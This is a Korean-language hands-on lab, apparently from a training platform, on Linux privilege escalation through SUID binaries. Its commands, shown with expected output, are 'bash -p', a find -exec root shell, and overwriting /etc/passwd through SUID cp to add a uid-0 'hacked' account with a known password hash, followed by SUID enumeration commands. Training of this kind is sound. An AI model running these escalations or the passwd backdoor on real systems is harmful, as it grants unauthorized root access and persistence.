소개
이 랩에서는 SUID (Set user ID upon execution) 권한에 대해 배우고, 이를 활용하여 Linux 시스템에서 권한 상승을 수행하는 방법을 익힙니다. 목표는 bash, find, cp, mv 명령어를 포함한 다양한 기술을 사용하여 SUID 바이너리를 악용하여 root 권한을 얻는 것입니다.
이 랩에서는 SUID (Set user ID upon execution) 권한에 대해 배우고, 이를 활용하여 Linux 시스템에서 권한 상승을 수행하는 방법을 익힙니다. 목표는 bash, find, cp, mv 명령어를 포함한 다양한 기술을 사용하여 SUID 바이너리를 악용하여 root 권한을 얻는 것입니다.
이 단계에서는 SUID 권한의 개념과 그 의미를 이해합니다.
일반적으로 Linux 에서 프로그램이 실행될 때, 현재 사용자의 권한으로 실행됩니다. 하지만 cp와 같은 일부 프로그램은 제한된 디렉토리로 파일을 복사하는 등 특정 작업을 수행하기 위해 높은 권한이 필요합니다. 일반 사용자가 이러한 프로그램을 높은 권한으로 실행할 수 있도록 하기 위해, 실행 파일에 SUID 권한을 설정할 수 있습니다.
SUID 는 "Set user ID upon execution"의 약자입니다. 파일에 SUID 권한이 설정되어 있으면, 이를 실행하는 사용자에 관계없이 소유자의 권한으로 실행됩니다. 예를 들어, cp 명령어는 root 사용자가 소유하고 SUID 비트가 설정되어 있어, 모든 사용자가 root 권한으로 실행할 수 있습니다.
cp 명령어에 대한 SUID 권한을 확인하고 출력을 파일에 저장하려면 다음 명령을 실행합니다.
ls -l /usr/bin/cp > /home/labex/project/suid_cp.txt
다음 명령을 사용하여 suid_cp.txt 파일의 내용을 확인합니다.
cat /home/labex/project/suid_cp.txt
예상 출력:
-rwsr-xr-x 1 root root 141832 Feb 8 2024 /usr/bin/cp
권한 비트에 s가 표시되어 SUID 권한이 있음을 나타냅니다.
SUID 는 일반 사용자가 특정 권한이 필요한 명령을 실행할 수 있도록 하는 데 유용할 수 있지만, SUID 바이너리가 시스템 명령을 실행하거나 파일을 수정하는 기능을 제공하는 경우 악용될 수도 있습니다.
이 단계에서는 권한 상승을 위해 SUID 권한이 있는 bash 명령어를 악용하는 방법을 배웁니다.
먼저, 터미널을 열고 /home/labex/project 디렉토리로 이동합니다.
cd /home/labex/project
bash 명령어의 권한을 확인합니다.
ls -l /bin/bash
예상 출력:
-rwsr-xr-x 1 root root 1037520 Feb 5 2022 /bin/bash
bash 명령어에 SUID 비트가 설정되어 있는 경우, 다음 명령어를 사용하여 root 권한으로 시스템 명령을 실행할 수 있습니다.
bash -p
whoami를 사용하여 root 쉘을 가지고 있는지 확인할 수 있습니다.
whoami
예상 출력:
root
이제 /root 디렉토리에 root.txt라는 파일을 생성하고 파일의 내용을 확인합니다.
touch /root/root.txt
/root 디렉토리에서 root.txt 파일을 확인할 수 있습니다.
이 단계에서는 권한 상승을 위해 SUID 권한이 있는 find 명령어를 악용하는 방법을 배웁니다.
이전 단계 이후, root 쉘을 가지고 있어야 합니다. 이 단계를 위해서는 exit 명령어나 '새 터미널 열기'를 통해 root 쉘에서 로그아웃하고 다시 labex 사용자로 로그인해야 합니다.
먼저, /home/labex/project 디렉토리로 이동합니다.
cd /home/labex/project
find 명령어의 권한을 확인합니다.
ls -l /usr/bin/find
find 명령어에 SUID 비트가 설정되어 있으면, 이를 활용하여 root 권한으로 시스템 명령을 실행할 수 있습니다.
find를 사용하여 명령을 실행하는 구문은 다음과 같습니다.
find < file > -exec < command > \;
여기서 <file>은 어떤 파일이든 될 수 있습니다. test라는 파일을 생성해 보겠습니다.
touch test
이제 find를 사용하여 명령을 실행할 수 있습니다.
find test -exec whoami \;
이렇게 하면 whoami 명령어가 root 권한으로 실행됩니다. 하지만 이 방법은 ssh 또는 su와 같은 대화형 명령에는 편리하지 않습니다.
더 편리한 root 쉘을 얻으려면 /bin/bash 명령어를 실행할 수 있습니다.
find test -exec /bin/bash -p \;
참고: 유효 사용자 ID (EUID) 를 유지하고 실제 사용자 ID (RUID) 로 재설정되는 것을 방지하려면 -p 플래그가 필요합니다.
이제 root 쉘을 갖게 됩니다. /root 디렉토리에 root.txt라는 파일을 생성하고 파일의 내용을 확인합니다.
touch /root/root.txt
/root 디렉토리에서 root.txt 파일을 확인할 수 있습니다.
이 단계에서는 /etc/passwd 또는 /etc/shadow 파일을 수정하여 권한 상승을 위해 SUID 권한이 있는 cp 및 mv 명령어를 악용하는 방법을 배웁니다.
이전 단계 이후, root 쉘을 가지고 있어야 합니다. 이 단계를 위해서는 exit 명령어나 '새 터미널 열기'를 통해 root 쉘에서 로그아웃하고 다시 labex 사용자로 로그인해야 합니다.
먼저, /home/labex/project 디렉토리로 이동합니다.
cd /home/labex/project
cp 명령어의 권한을 확인합니다.
ls -l /bin/cp
cp 명령어에 SUID 비트가 설정되어 있으면 악용을 진행할 수 있습니다.
/etc/passwd의 내용을 홈 디렉토리의 파일로 복사합니다.
cat /etc/passwd > /home/labex/project/passwd
다음 세부 정보로 새 사용자 항목을 생성합니다.
/home/labex/project/passwd 파일의 끝에 다음 줄을 삽입합니다.
echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /home/labex/project/passwd
이제 SUID 권한이 있는 cp 명령어를 사용하여 /etc/passwd 파일을 덮어씁니다.
cp /home/labex/project/passwd /etc/passwd
파일을 덮어쓴 후, su 명령어를 사용하여 비밀번호 pass123으로 hacked 사용자로 전환할 수 있습니다.
su hacked
hacked 사용자는 사용자 ID (uid) 가 0이므로 root 권한을 갖게 됩니다.
mv 명령어에 대한 악용 방법은 cp와 유사합니다. 직접 시도해 볼 수 있습니다.
이 단계에서는 권한 상승을 위해 악용될 수 있는 시스템에서 SUID 바이너리를 찾는 방법을 배웁니다.
SUID 비트가 설정된 모든 실행 파일을 나열하려면 다음 명령어를 사용할 수 있습니다.
find / -user root -perm -4000 -print 2> /dev/null
find / -perm -u=s -type f 2> /dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
다음 단계를 수행하려면 /home/labex/project 디렉토리로 이동합니다.
cd /home/labex/project
시스템에서 SUID 바이너리를 나열하고 출력을 분석하려면 명령어 중 하나를 선택합니다.
find / -user root -perm -4000 -print 2> /dev/null > check_results.txt
시스템의 SUID 바이너리 목록을 보려면 check_results.txt 파일의 내용을 확인합니다.
cat check_results.txt
그러나 출력에는 권한 상승을 위해 악용될 수 없는 많은 파일이 포함될 수 있으므로 수동 분석이 필요합니다.
이 랩에서는 SUID 권한에 대해 배우고, Linux 시스템에서 권한 상승을 위해 bash, find, cp, mv와 같은 다양한 SUID 바이너리를 활용하는 방법을 익혔습니다. 이러한 바이너리를 악용하여 root 액세스를 얻는 실질적인 경험을 얻었으며, 이는 사이버 보안 분야에서 중요한 기술입니다. 이 랩은 실제 시나리오를 제공하고, 기술을 효과적으로 이해하고 적용하기 위한 단계를 안내했습니다.